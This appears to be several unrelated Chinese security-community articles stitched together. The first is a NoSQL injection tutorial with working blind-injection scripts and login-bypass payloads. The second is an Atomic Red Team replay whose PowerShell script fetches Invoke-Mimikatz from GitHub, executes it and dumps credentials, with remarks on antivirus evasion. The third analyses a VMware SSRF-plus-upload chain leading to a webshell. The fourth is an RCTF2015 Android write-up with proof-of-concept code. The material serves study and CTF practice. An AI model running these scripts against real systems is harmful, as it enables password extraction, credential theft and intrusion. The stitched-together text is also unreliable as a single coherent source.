布尔盲注重点在于怎么逐个提取字符，如下所示，在已知一个用户名的情况下判断密码的长度：
username=admin&password[$regex]=.{4} // 登录成功
username=admin&password[$regex]=.{5} // 登录成功
username=admin&password[$regex]=.{6} // 登录成功
username=admin&password[$regex]=.{7} // 登录失败
......
在 `password[$regex]=.{6}` 时可以成功登录，但在 `password[$regex]=.{7}` 时登录失败，说明该 whoami
用户的密码长度为 7。
提交的数据进入 PHP 后的数据如下：
array(
'username' => 'admin',
'password' => array('$regex' => '.{6}')
)
进入 MongoDB 后执行的查询命令为：
> db.users.find({'username':'admin', 'password':{$regex:'.{6}'}})
{ "_id" : ObjectId("60fa9c7b257f18542b68c4b8"), "username" : "admin", "password" : "123456" }
> db.users.find({'username':'admin', 'password':{$regex:'.{7}'}})
>
由于 whoami 用户的 password 长度为 6，所以查询条件 `{'username':'admin',
'password':{$regex:'.{6}'}}` 为真，便能成功登录，而 `{'username':'admin',
'password':{$regex:'.{7}'}}` 为假，自然也就登录不了。
知道 password 的长度之后我们便可以逐位提取 password 的字符了：
username=admin&password[$regex]=1.{5}
username=admin&password[$regex]=12.{4}
username=admin&password[$regex]=123.{3}
username=admin&password[$regex]=1234.{2}
username=admin&password[$regex]=12345.*
username=admin&password[$regex]=123456
或
username=admin&password[$regex]=^1
username=admin&password[$regex]=^12
username=admin&password[$regex]=^123
username=admin&password[$regex]=^1234
username=admin&password[$regex]=^12345
username=admin&password[$regex]=^123456
下面给出一个 MongoDB 盲注脚本：
import requests
import string
password = ''
url = 'http://192.168.226.148/index.php'
while True:
for c in string.printable:
if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
# When the method is GET
get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
# When the method is POST
post_payload = {
"username": "admin",
"password[$regex]": '^' + password + c
}
# When the method is POST with JSON
json_payload = """{"username":"admin", "password":{"$regex":"^%s"}}""" % (password + c)
#headers = {'Content-Type': 'application/json'}
#r = requests.post(url=url, headers=headers, data=json_payload) # 简单发送 json
r = requests.post(url=url, data=post_payload)
if 'Login Success' in r.text:
print("[+] %s" % (password + c))
password += c
# 输出如下:
# [+] 1
# [+] 12
# [+] 123
# [+] 1234
# [+] 12345
# [+] 123456
**$where 操作符布尔盲注**
`$where` 操作符前面我们已经说到了，当页面没有数据会显时，我们也可以通过闭合 JavaScript 的代码构造盲注。这里要提一下，在 MongoDB
2.4 之前，通过 `$where` 操作符可以访问到 Mongo Shell 中的全局函数和属性，如
`db`，也就是说可以在自定义的函数里获取数据库的所有信息。
我们用下面的代码演示：
* index.php
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$query = new MongoDB\Driver\Query(array(
'$where' => "function() {if(this.username == '".$username."' && this.password == '".$password."') {return true;}}"
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count>0) {
foreach ($result as $user) {
$user=(array)$user;
echo '====Login Success====<br>';
echo 'username: '.$user['username']."<br>";
echo 'password: '.$user['password']."<br>";
}
}
else{
echo 'Login Failed';
}
?>
此时没有回显了，但我们可以通过 `$where` 操作符访问到全局属性 `db`，然后对这里面的数据进行盲注，比如：
username='||db.version()[0]=='2'){return true;}else{return false;}if('&password=123456
发送 payload，进入 PHP 后的数据如下：
array(
'$where' => "
function() {
if(this.username == ''||db.version()[0]=='2'){
return true;
}else{
return false;
}
if('' && this.password == '123456') {
return true;
}
}
")
如果 `db.version()[0]=='2'` 匹配正确则返回 true，然后登录成功，反之返回 false
，登陆失败。我们根据这一布尔条件进行判断即可逐个注出数据。但是 MongoDB 2.4 之后我们便无法访问到 `db` 属性了。
初次之外，我们还可以通过 `substr` 方法将指定用户的密码匹配出来，比如我们知道存在一个 admin 用户，那么我们可以将这个 admin
用户的密码匹配出来：
username=admin'%26%26this.password.substr(-1)=='6') {return true;}})//&password=1
username=admin'%26%26this.password.substr(-2)=='56') {return true;}})//&password=1
username=admin'%26%26this.password.substr(-3)=='456') {return true;}})//&password=1
username=admin'%26%26this.password.substr(-4)=='3456') {return true;}})//&password=1
username=admin'%26%26this.password.substr(-5)=='23456') {return true;}})//&password=1
username=admin'%26%26this.password.substr(-6)=='123456') {return true;}})//&password=1
# 最后得到密码为 123456
发送 payload 后进入 PHP 的数据如下：
array(
'$where' => "
function() {
if(this.username == 'admin' && this.password.substr(-1)=='6') {
return true;
}}//' && this.password == '123456') {return true;}
}
")
下面给出一个盲注脚本：
import requests
url = "http://192.168.219.130/"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
strings = "abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()"
res = ""
for i in range(len(res)+1,30):
if len(res) == i-1:
for c in strings:
data = {
"username": "admin'&&this.password.substr(-" + str(i) + ")=='" + str(c + res) + "') {return true;}})//",
"password": "123456"
}
r = requests.post(url=url,headers=headers, data=data)
if "Login Success" in r.text:
res = c + res
print("[+] " + res)
break
else:
print("[-] Failed")
break
# 输出如下:
# [+] 6
# [+] 56
# [+] 456
# [+] 3456
# [+] 23456
# [+] 123456
**$where 操作符时间盲注**
时间盲注也很好理解了，还是用上面那个 index.php 演示，直接给出 payload：
username=admin'%26%26this.password.substr(-1)=='6') {sleep(2000);}})//&password=1
如果匹配正确则会有 2 秒的延迟，下面给出时间盲注脚本：
import time
import requests
url = "http://192.168.219.130/"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
strings = "abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()"
res = ""
for i in range(len(res)+1,30):
if len(res) == i-1:
for c in strings:
data = {
"username": "admin'&&this.password.substr(-" + str(i) + ")=='" + str(c + res) + "') {sleep(2000);}})//",
"password": "123456"
}
times = time.time()
r = requests.post(url=url,headers=headers, data=data)
if time.time() - times >= 2:
res = c + res
print("[+] " + res)
break
else:
print("[-] Failed")
break
# 输出如下:
# [+] 6
# [+] 56
# [+] 456
# [+] 3456
# [+] 23456
# [+] 123456
## Nodejs 中的 MongoDB 注入
在 Nodejs 中也存在 MongoDB 注入的问题，其中主要是重言式注入，通过构造永真式构造万能密码实现登录绕过。下面我们使用 Nodejs 中的
mongoose 模块操作 MongoDB 进行演示。
* server.js
var express = require('express');
var mongoose = require('mongoose');
var jade = require('jade');
var bodyParser = require('body-parser');
mongoose.connect('mongodb://localhost/test', { useNewUrlParser: true });
var UserSchema = new mongoose.Schema({
name: String,
username: String,
password: String
});
var User = mongoose.model('users', UserSchema);
var app = express();
app.set('views', __dirname);
app.set('view engine', 'jade');
app.get('/', function(req, res) {
res.render ("index.jade",{
message: 'Please Login'
});
});
app.use(bodyParser.json());
app.post('/', function(req, res) {
console.log(req.body)
User.findOne({username: req.body.username, password: req.body.password}, function (err, user) {
console.log(user)
if (err) {
return res.render('index.jade', {message: err.message});
}
if (!user) {
return res.render('index.jade', {message: 'Login Failed'});
}
return res.render('index.jade', {message: 'Welcome back ' + user.name + '!'});
});
});
var server = app.listen(8000, '0.0.0.0', function () {
var host = server.address().address
var port = server.address().port
console.log("listening on http://%s:%s", host, port)
});
* index.jade
h1 #{message}
p #{message}
运行 server.js 后，访问 8000 端口：
由于后端解析 JSON，所以我们发送 JSON 格式的 payload：
{"username":{"$ne":1},"password": {"$ne":1}}
如上图所示，成功登录。
在处理 MongoDB 查询时，经常会使用 JSON格式将用户提交的数据发送到服务端，如果目标过滤了 `$ne` 等关键字，我们可以使用 Unicode
编码绕过，因为 JSON 可以直接解析 Unicode。如下所示：
{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}}
// {"username":{"$ne":1},"password": {"$ne":1}}
## Nosql 相关 CTF 例题
### [2021 MRCTF]Half-Nosqli
进入题目，发现是一个Swagger UI：
有两个 Api 接口，一个是 `/login` 用于登录，另一个是 `/home` 可通过 url 属性进行 SSRF。我们可以编写脚本来访问这两个 Api
接口。首先访问 `/home`接口报错，因为需要验证，所以思路应该是先访问 `/login` 接口进行登录，登录后拿到 token 再去访问 `/home`
接口。这里由于题目名提示了是 NoSQL，所以我们可以直接使用 NoSQL 的永真式绕过。
这里没有任何过滤，Exp 如下：
import requests
import json
url = "http://node.mrctf.fun:23000/"
json_data = {
"email": {"$ne": ""},
"password": {"$ne": ""}
}
res = requests.post(url=url+'login',json=json_data)
token = res.json()['token']
json_data2 = {
"url":"http://47.xxx.xxx.72:4000" # 通过这里的url值进行SSRF
}
headers = {
"Authorization":"Bearer "+token
}
res2 = requests.post(url=url+'home',json=json_data2,headers=headers)
print(res2)
这样我们便可以通过 `/home` 接口的 url 值进行SSRF了：
接下来是一个 HTTP 拆分攻击，详情请看：[[2021 MRCTF]Half-Nosqli](https://whoamianony.top/2021/04/20/Web%E5%AE%89%E5%85%A8/HTTP%E5%93%8D%E5%BA%94%E6%8B%86%E5%88%86%E6%94%BB%E5%87%BB%EF%BC%88CRLF%20Injection%EF%BC%89/#2021-MRCTF-Half-Nosqli)
### [GKCTF 2021]hackme
进入题目，是一个登录框：
查看源码发现如下提示：
<!--doyounosql?-->
应该是 nosql 注入，随机登录抓包发现解析 json：
首先构造永真式：
{"username":{"$ne":1},"password": {"$ne":1}}
被检测了，使用 Unicode 编码成功绕过：
应该是通过 Nosql 盲注，让我们把 admin 的密码爆出来，根据以下条件进行布尔盲注：
{"msg":"登录了，但没完全登录"} // 真
{"msg":"登录失败"} // 假
如下编写盲注脚本：
import requests
import string
password = ''
url = 'http://node4.buuoj.cn:27409/login.php'
while True:
for c in string.printable:
if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
# When the method is GET
get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
# When the method is POST
post_payload = {
"username": "admin",
"password[$regex]": '^' + password + c
}
# When the method is POST with JSON
json_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c)
headers = {'Content-Type': 'application/json'}
r = requests.post(url=url, headers=headers, data=json_payload) # 简单发送 json
#r = requests.post(url=url, data=post_payload)
if '但没完全登录' in r.content.decode():
print("[+] %s" % (password + c))
password += c
# 输出:
# [+] 4
# [+] 42
# [+] 422
# [+] 4227
# [+] 42276
# [+] 422766
# ......
# [+] 42276606202db06ad1f29ab6b4a1
# [+] 42276606202db06ad1f29ab6b4a13
# [+] 42276606202db06ad1f29ab6b4a130
# [+] 42276606202db06ad1f29ab6b4a1307
# [+] 42276606202db06ad1f29ab6b4a1307f
得到 admin 密码后即可成功登录 admin。
## Nosql 注入相关工具
Github上有个叫[NoSQLAttack](https://github.com/youngyangyang04/NoSQLAttack)工具，不过已经没有维护了。
另外还有一个[NoSQLMap](https://github.com/codingo/NoSQLMap)工具，这个项目作者仍在维护。
## Ending……
> 参考：
>
> <https://owasp.org/www-project-web-security-testing-> guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection>
>
> <https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf>
>
>
> <https://www.tr0y.wang/2019/04/21/MongoDB%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/index.html>
>
> <https://cloud.tencent.com/developer/article/1602092>
>
> <https://www.anquanke.com/post/id/97211#h2-10>
>
> <https://www.runoob.com/mongodb/nosql.html>
>
> <https://blog.szfszf.top/article/27/>
>
> <https://www.ddosi.com/b292/>
>
> <https://github.com/youngyangyang04/NoSQLInjectionAttackDemo>
>
> <https://github.com/ricardojoserf/NoSQL-injection-example>
>
> <https://www.anquanke.com/post/id/250101#h3-4> | 社区文章 |
# att&ck奇妙历险记
## 0x00简介
原子红队是一个在github上以脚本为主的项目，主要是对于att&ck框架的攻击手法的实现，项目地址[原子红队](https://github.com/redcanaryco/atomic-red-team/tree/master/atomics)，最近处于个人兴趣的原因对上面的攻击手法进行复现，恰好今天碰见了一个对我造成了很大困扰的攻击手法，解决该问题之后才写了这篇稿子。
## 0x01碰到的问题
复现到编号为 **T1086** 的攻击手法时，碰上了一些令我十分困扰的问题。
**T1086** 下是一些使用powershell的攻击手法，其中#4的是以mimikatz为例，使用 **PsSendKeys** 为手段进行攻击:
对于powershell我才刚刚开始学习，所以一上来我对什么是 **PsSendKeys** 也不是很了解，所以先进行资料的查找。
首先我们要了解的是，powershell可以视为cmd的基于.NET框架的究极进化体，可以实现非常多且强大的功能。与此同时C#程序可以实现的功能，powershell同样也可以实现，因为他们都是基于.NET框架的产物。正是因为这样powershell的脚本/命令可以不通过powershell.exe这个二进制文件就能执行，这需要通过
**System.Management.Automation** 这一底层接口，如果有机会我会再写一篇文章讲这个接口，今天的重点不是他。
因为上面说到的特性，c#可以使用的第三方dll，powershell也可以使用，今天要讲的便是 **System.Reflection.Assembly**
和 **System.Windows.Forms** 。而sendkeys是c#中模拟键盘的一种方法。
首先我们来看一下：官方给出的脚本，为了方便看我将其换行整理了一下：
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';
$wshell=New-Object -ComObject WScript.Shell;
$reg='HKCU:\Software\Microsoft\Notepad';
$app='Notepad';$props=(Get-ItemProperty $reg);
[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');
@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};
$curpid=$wshell.Exec($app).ProcessID;
While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};
While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};
$wshell.SendKeys('^o');
Start-Sleep -Milliseconds 1000;
@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};
$res=$Null;
While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();
@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};
Start-Sleep -Milliseconds 500;
$res=([Windows.Forms.Clipboard]::GetText())};
[Windows.Forms.Clipboard]::Clear();
@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};
If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};
@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};
IEX($res);
invoke-mimikatz -dumpcr
在windows server 2012的环境下运行，注意要使用管理员权限：
在复现att&ck时经常会出现各种各样的报错，我已经习惯去修改里面给出的脚本了，首先看一下报错的原因:路径不正确，也就是从文件名这一栏无法去直接访问这个放在web上的mimikatz的ps1脚本。
那我们去尝试一下以这种思路怎么才能访问到这个mimikatz，在此电脑的路径中输入url：
成功访问到了这个mimikatz.ps1！那我们试试在记事本中能否成功，首先要对脚本进行改动。因为该脚本时通过这种方式打开记事本时，光标处于文件名处而不是路径栏中，如图:
这段powershell是这样打开记事本，并选择打开文件选项的:
$wshell=New-Object -ComObject WScript.Shell;
$app='Notepad';
$curpid=$wshell.Exec($app).ProcessID;
模拟键盘的ctrl+o，也就是打开文件选项:
$wshell=New-Object -ComObject WScript.Shell;
$reg='HKCU:\Software\Microsoft\Notepad';
$app='Notepad';
[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');
@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};
$curpid=$wshell.Exec($app).ProcessID;
While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};
While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};
$wshell.SendKeys('^o');
Start-Sleep -Milliseconds 1000;
使用这段命令复制记事本中的内容：
@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};
这里通过Notepad在注册表中的信息，以及powershell的GPS命令，GPS也就是cmd中的tasklist：
这段powershell中使用c#反射，也就是System.Reflection.Assembly加载命名空间System.Windows.Forms，并使用该命名空间中的类，根据注册表以及gps命令获取的记事本的名称并在该记事本中使用的crtl+o组合键。[（System.Windows.Forms中的类）](https://docs.microsoft.com/zh-cn/dotnet/api/system.windows.forms?redirectedfrom=MSDN&view=netframework-4.7.2)
这时我们需要在这段powershell中添加几次如下代码:
$wshell.SendKeys('{tab}');
Start-Sleep -Milliseconds 1000
即可将光标替换到路径栏中：
正当我以为胜利的曙光就在眼前时，一个报错打破了我的幻想:
记事本中打开文件的每个地方我都尝试了，我陷入了深深的自闭中。。。我决定换一个新的环境去尝试一下这个攻击手法。我换成了我的物理机的win10系统，直接将原版powershell命令执行:
这次没有报错，但是卡在了奇怪的地方，文件名那一栏输入到一半卡住了。。。我思来想去不知道这到底又是什么原因，忽然想到了刚才powershell脚本在模拟键盘的过程中出现了中文输入法，于是我是用纯英文的键盘再次执行:
居然开始下载了！还成功执行了mimikatz。
这次复现是我目前为止碰上最耗费我时间的一次复现，来来回回修改powershell代码和测试花了三个多小时左右，最后终于成功了。谈一谈这种攻击手法的免杀效果把，我发现这种手法被杀的几率取决于你下载并且复制的powershell脚本，所以不光可以使用mimikatz而且mimikatz对于win10实在太过鸡肋，但是我们可以通过这个手法去执行其他免杀过的ps1脚本，算是开拓了思路。 | 社区文章 |
(ps:我的博客：<https://www.ghtwf01.cn> 欢迎师傅们互加友链呀)
## CVE-2021-21975
### 漏洞复现
### 漏洞分析
位于`casa/WEB-INF/classes/com/vmware/ops/casa/api/ClusterDefinitionController.class`有一个路由`/nodes/thumbprints`
这里接收POST传入的值作为`address`传入`getNodesThumbprints`方法，跟进ClusterDefinitionService#getNodesThumbprints
这里实例化了一个`HttpMapFunction`类并调用了`execute`方法，可以看到返回的结果保存在response中，后面就是对返回结果的处理，从变量名和后面操作的行为就可以猜测execute方法里面就是发出请求也就是造成ssrf的地方，跟进看一看
这里的hosts也就是我们传入的address转为数组的形式，接着将hosts赋值给var4，然后进入for循环遍历host通过`HttpTask.createInstance`创建任务实例，跟进HttpTask#createInstance
这里的op从实例化HttpMapFunction那儿可以知道值为`RequestMethod.GET`，所以这里返回了一个发送GET请求的任务`HttpGetTask`，回到`execute`方法中，将得到的任务`task`放入`tasks`中，最后通过`invokeAll`开始多线程执行。
## CVE-2021-21983
### 漏洞复现
### 漏洞分析
位于`casa/classes/com/vmware/vcops/casa/appconfig/CertificateController.class`有一个路由
这里接收了两个post参数name和file，然后跟进CertificateService#handleCertificateFile
这里创建了一个File对象，然后直接使用transferTo函数上传文件，两个参数都是可控的所以就造成了任意文件上传漏洞，复现这个漏洞有一个前提是需要有Authorization。
## 组合利用=RCE
思路是ssrf获取Authorization然后配合文件上传漏洞getshell
复现ssrf的时候已经接收到了Authorization(8.3之前的版本会有，不包括8.3)，然后就利用文件上传漏洞写webshell。 | 社区文章 |
# RCTF2015-Mobile-出题思路及Writeup
|
##### 译文声明
本文是翻译文章，文章来源：Wooyun
原文地址：<http://drops.wooyun.org/mobile/10557>
译文仅供参考，具体内容表达以及含义原文为准。
**@Xbalien ROIS**
从最初CTF上apk的简单反编译到现在各种加固逆向,难度已经上升了好多个级别。但感觉除了ACTF,多数的Mobile题目还是以逆向为主。此
次作为ROIS成员有幸能参与到RCTF2015的出题工作中,于是尝试了一些新的出题思路,导致大家做题都很不适应,也把大家坑了一波。欢迎建议、意
见、吐槽。
这次RCTF单独了一个Mobile类别,主题是漏洞,希望和大家一起探讨。
# **0x00 Mobile100-FlagSystem**
> Show me the flag. (The flag should include RCTF{}).
> [ab_2e204fe0ec33b1689f1c47bd60a9770c](https://github.com/Xbalien/RCTF2015-MOBILE/blob/master/FlagSystem/ab_2e204fe0ec33b1689f1c47bd60a9770c)
##
## 出题思路:Android backup漏洞 + 本地密码弱保护
该题给出了一个修改过的backup.ab,稍微需改了ab的头部,version以及compress。直接使用abe进行提取的话需要根据代码简单修复一下ab头部。提取出来后发现有两个备份apk文件。
com.example.mybackup
com.example.zi
其中mybackup里提供了一个经过sqlcipher加密过的BOOKS.db.该数据库里存储了flag,只要解密该数据库之后即可获取flag。
密码直接可以通过反编译看到:
public BooksDB(Context context) {
super(context, "BOOKS.db", null, 1);
this.k = Test.getSign(context);
this.db = this.getWritableDatabase(this.k);
this.dbr = this.getReadableDatabase(this.k);
}
getSign为自己写的获取签名,然后计算"SHA1",直接利用jeb反编译结果编写代码即可获取key,然后坑点就是要选择尝试正确的sqlcipher版本进行解密即可。
sqlite> PRAGMA KEY = 'KEY';
sqlite> .schema
CREATE TABLE android_metadata (locale TEXT);
CREATE TABLE books_table (book_id INTEGER primary key autoincrement, book_name t
ext, book_author text);
sqlite> select * from books_table
或者利用backup的apk中提供的sqlcipher库进行重写读取数据库也是可以获取到BOOKS.db内容。
#
# **0x01 Mobile200-Where**
> Where is the flag.(The flag should include RCTF{})
> [misc_5b0a7ae29fe01c7a76a19503e1e0273e](https://github.com/Xbalien/RCTF2015-MOBILE/blob/master/Where/misc_5b0a7ae29fe01c7a76a19503e1e0273e)
##
## 出题思路:炸弹引爆 + dex结构修复
该题的定位是杂项题,给了一个apk,但apk啥都没做。在assets目录下存在了一个abc文件,打开后可以看到是损坏的dex header,只要根据dex
header其他相关结构把各id_size都修复。
剩下就是要寻找到隐藏起来的dex
body.参考聚安全博客[[1]](http://jaq.alibaba.com/blog.htm?spm=0.0.0.0.v5UAtC&id=76),我在META-INF目录里隐藏了一个y,并把加密的dex body以及相关加密信息KEY=Misc@inf0#fjhx11.DEX=en(dex
body),aes-128-cbc存放在CERT.RSA尾部,这样一来主apk是能正常安装的。
其实这道题目我描述的不太清楚,坑了一波,所谓的KEY其实只是openssl的-pass,通过KEY生成真正的key以及iv。
通过相关的openssl操作openssl enc -aes-128-cbc -d -k Misc@inf0#fjhx11 -nosalt -in xxx
-out xxx2将dex body解密后与dex header进行拼接,jeb反编译后结果如下:
public class MainActivity extends ActionBarActivity {
public String seed;
public MainActivity() {
super();
this.seed = "m3ll0t_yetFLag";
}
protected void onCreate(Bundle savedInstanceState) {
}
...
}
这题我把onCreate方法的code insns扣了出来,查看assembly:
.method protected onCreate(Bundle)V
.registers 8
.param p1, "savedInstanceState"
00000000 nop
.prologue
00000002 nop
00000004 nop
00000006 nop
00000008 nop
0000000A nop
0000000C nop
0000000E nop
00000010 nop
00000012 nop
00000014 nop
00000016 nop
00000018 nop
0000001A nop
0000001C nop
0000001E nop
00000020 nop
.local v1, strb:Ljava/lang/StringBuilder;
00000022 nop
通过判断长度可以知道y其实就是扣出来的code insns.直接覆盖在次反编译可以看到onCreate方法中对seed进行了一些修改,最终得到最后flag.
#
# **0x02 Mobile350-Load**
> This APK has a vulnerability,Can you load the flag? Try it.
> [WaWaWa_0bb98521a9f21cc3672774cfec9c7140](https://github.com/Xbalien/RCTF2015-MOBILE/blob/master/Load/WaWaWa_0bb98521a9f21cc3672774cfec9c7140)
##
## 出题思路:暴露组件aidl利用 + next_intent
该题的出题思路是在某次自己参加众测中积累的。该题都在强调Load,通过反编译apk,发现有一个Load类,声明了很多native方法,然后
WebActivity中调用了一个loadUrl来加载网页。该题本意是通过正确调用的loadUrl,加载flag网址获取flag。
但为了增加逆向难度,APK启动后会检测一下so的调用者,flag放在vps,增加了so-java来回jni交互的逻辑,最后加上了娜迦的so加固。如果真是逆向做出来的,真的是不得不服了。
该题在放出提示exposed component exploit后,复旦六星战队在比赛结束那个时间获得了flag,但最终没有按时提交flag比较遗憾。
Manifest:normal权限保护CoreService,未导出组件WebActivity,导出组件MiscService
<permission android:name="com.example.wawawa.permission.CORE_SERVICE" android:protectionLevel="normal" />
<activity android:name=".WebActivity" />
<service android:name=".MiscService">
<intent-filter>
<action android:name="com.example.wawawa.Misc_SERVICE" />
</intent-filter>
</service>
<service android:name=".CoreService" android:permission="com.example.wawawa.permission.CORE_SERVICE">
<intent-filter>
<action android:name="com.example.wawawa.CORE_SERVICE" />
</intent-filter>
</service>
WebActivity:通过接收处理一个传递过来的序列化对象,作为Load.decode的参数可以进行flagUrl的解码,之后加载解码后的网页进而获取flag,但该组件未导出.
public void onCreate(Bundle arg6) {
super.onCreate(arg6);
this.setContentView(2130903068);
this.a = this.findViewById(2131034173);
this.a.setWebViewClient(new g(this));
Serializable v0 = this.getIntent().getSerializableExtra("KEY");
if(v0 == null || !(v0 instanceof b)) {
Toast.makeText(((Context)this), "flag is null", 1).show();
}
else {
String v1 = ((b)v0).a();
String v2 = ((b)v0).b();
if("loading".equals(((b)v0).c())) {
if(v1 != null && v2 != null) {
this.a.loadUrl(Load.decode(((Context)this), v1, v2, a.a));
Toast.makeText(((Context)this), "flag loading ...", 1).show();
return;
}
this.a.loadUrl("file:///android_asset/666");
}
}
}
MiscService:存在next_intent特征,可以控制CLASS_NAME启动组件
public Intent a(Intent arg4) {
Intent v0 = new Intent();
v0.setClassName(this.getApplicationContext(), arg4.getStringExtra("CLASS_NAME"));
v0.putExtras(arg4);
v0.setFlags(268435456);
return v0;
}
CoreService:存在暴露的AIDL接口,多处使用了Load的native方法。
class b extends a {
b(CoreService arg1) {
this.a = arg1;
super();
}
public String a() throws RemoteException {
c v0 = new c(Load.getUrl(this.a), Load.getToken(this.a));
Thread v1 = new Thread(((Runnable)v0));
v1.start();
try {
v1.join();
}
catch(InterruptedException v1_1) {
v1_1.printStackTrace();
}
return v0.a();
}
public String b() throws RemoteException {
return null;
}
public String c() throws RemoteException {
return Load.getIv(this.a);
}
}
因此,通过仔细分析及猜测逻辑,这个核心服务提供了两个接口:
一个接口通过调用Load的native函数getUrl以及getToken,获取vps-url以及token参数,post到vps-url,若
token正确即可获取key. 另一个接口通过Load.getIv自己本地获取了iv.
因此通过直接利用该暴露了aidl接口可以轻松获得des解密需要的key和iv.
POC如下:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_bind);
try {
ComponentName com = new ComponentName("com.example.wawawa", "com.example.wawawa.CoreService");
Intent intent = new Intent();
intent.setComponent(com);
bindService(intent, connD, Context.BIND_AUTO_CREATE);
} catch (Exception e) {
}
}
private d da;
private ServiceConnection connD = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
da = d.Stub.asInterface(service);
try {
System.out.println(da.c());
System.out.println(da.a());
} catch (RemoteException e) {
e.printStackTrace();
}
}
@Override
public void onServiceDisconnected(ComponentName name) {
// TODO Auto-generated method stub
}
};
接着,通过next_intent传递key和iv,即可开启webActivity,des解密成功后,加载正确flagUrl。获取flag。
String key = etKey.getText().toString();
String iv = etIv.getText().toString();
String content = "loading";
b data = new b(key,iv, content);
Intent intent = new Intent("com.example.wawawa.Misc_SERVICE");
intent.putExtra("CLASS_NAME", "com.example.wawawa.WebActivity");
intent.putExtra("KEY", data);
startService(intent);
#
# **0x03 Mobile450-Target**
> This APK has a vulnerability, please use it to start the target activity.The
> flag should include RCTF{}.
> [Package_b6411947d3b360182e8897be40064023](https://github.com/Xbalien/RCTF2015-MOBILE/blob/master/Target/Package_b6411947d3b360182e8897be40064023)
##
## 出题思路:开放本地端口 + PendingIntent + 运行时自窜改
该题出题思路参考了@小荷才露尖尖角的浅谈Android开放网络端口的安全风险[[2]](http://drops.wooyun.org/mobile/6973),X-team的PendingIntent双无intent可导致的能力泄露[[3]](http://xteam.baidu.com/?p=77)
以及运行时自篡改代码[[4]](http://blog.csdn.net/freshui/article/details/13620647)。
出题本意是,通过该apk开放的一个本地端口,传递相关参数,最后触发主dex中的PendingIntent双无Intent的通知,获取相关通
知后修改intent内容开启TargetActivty.其中向端口中传递的能够正确触发双无Intent的参数的md5(输入参数)即为flag。
(但dex几处代码经过so的自篡改,因此需要获取真正加载的代码)
Manifest:TargetActiviy使用了signature的权限进行保护
<permission android:name="com.example.packagedetail.permission.TARGET" android:protectionLevel="signature" />
<activity android:name="com.ui.TargetActivity" android:permission="com.example.packagedetail.permission.TARGET">
<intent-filter>
<action android:name="com.example.packagedetail.TAEGET" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
因此,想要启用该activity需要有next-intent或者能力泄露,通过查看ListenService定位到了一处双无intent。
因此触发ListenService逻辑至allow代码逻辑即可(allow逻辑代码是13年开发的重打包加固的app中修改的[[5]](https://github.com/Xbalien/GuardDroid))。
Intent v2_1 = new Intent();
if("reject".equals(arg9)) {
v2_1.setClassName(this.a, "com.ui.MainTabHostActivity");
v1.setLatestEventInfo(this.a.getApplicationContext(), "Guard", ((CharSequence)arg10),
PendingIntent.getActivity(this.a, 0, v2_1, 0));
((NotificationManager)v0).notify(1, v1);
Log.d("CoreListenService", arg9);
}
if("allow".equals(arg9)) {
v1.setLatestEventInfo(this.a.getApplicationContext(), "Guard", ((CharSequence)arg10),
PendingIntent.getActivity(this.a, 0, v2_1, 0));
((NotificationManager)v0).notify(1, v1);
Log.d("CoreListenService", arg9);
}
该逻辑是,在内存中存在一个设定了allow的条件,就是name为test,perm为READ_F的消息才能被设置为allow。
if(GuardApplication.a.get("test") == null) {
GuardApplication.a.put("test", Integer.valueOf(0));
}
GuardApplication.a.put("test", Integer.valueOf(b.b.get("READ_F").intValue() | GuardApplication
.a.get("test").intValue()));
但listenService是未导出组件,无法直接调用,因此只能另寻他路。
在apk assets目录下存放了一个d文件,该文件其实是加密后的dex文件。通过查看加载调用GuardApplication可以发现:
首先通过b()对d复制、解密操作,解密之后加载com.example.dynamic.Init类,执行其中的a方法。
